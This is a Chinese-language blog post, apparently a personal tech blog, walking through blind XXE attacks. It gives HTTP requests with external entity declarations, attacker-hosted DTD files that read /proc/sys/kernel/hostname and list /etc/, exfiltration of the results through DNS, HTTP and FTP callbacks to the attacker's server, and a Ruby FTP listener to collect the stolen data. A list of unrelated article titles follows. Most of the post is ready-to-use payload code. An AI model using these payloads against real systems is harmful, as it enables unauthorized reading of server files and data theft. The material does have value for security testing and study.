blind XXE payload
2024-08-26 20:39:57
简单验证
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;]>
<root/>
接收信息以证明
XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
要将信息发出来还需要再自己服务器上构造DTD。
1) 接收单行文件信息(主机名)
发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://%file;.dnslog地址/test'>">
%int;
%send;
> 没错,就是取值符号加井号加37加分号
这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截
这里怀疑/kernel/hostname文件中有转义字符、空格、换行符什么的,所以可能造成拼在域名中,无法发出dns信息。
所以用http log也挺好的
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://httplog地址/%file;'>">
%int;
%send;
2) 接收多行文件信息
一
发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>
二
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;
三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb
require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
print "New client connected\n"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
print "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
print "\n"
end
end
ruby ftp.rb
列目录的DTD
把文件路径换成文件夹名就能列目录了
<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;
helps
最新文章
- testdb11b root.sh执行结果
- CPU与内存的关系
- Java中重点关键词的区分
- 嵌入式jetty的HTTP实现
- yii中上传图片及文件
- JavaScript的68个技巧一
- sql查询数据库表中重复记录方法
- poj 2833 The Average(堆)
- Android 检测是否连接蓝牙耳机
- QWidget QMainWindow QDialog 三个基类的区别
- handlebars.js模版引擎随记
- Windows Server 2008远程桌面默认端口更改方法
- diy 滚动条 样式 ---- 核心代码
- 计数排序与桶排序python实现
- Wireshark抓包实例诊断TCP连接问题
- Quartz小记(一):Elastic-Job - 分布式定时任务框架
- mycat分片操作
- Pronunciation – The Definitive Guide to the Top 100 Words in American English
- 2016NOI冬令营day0
- 打包dll发布到nuget服务器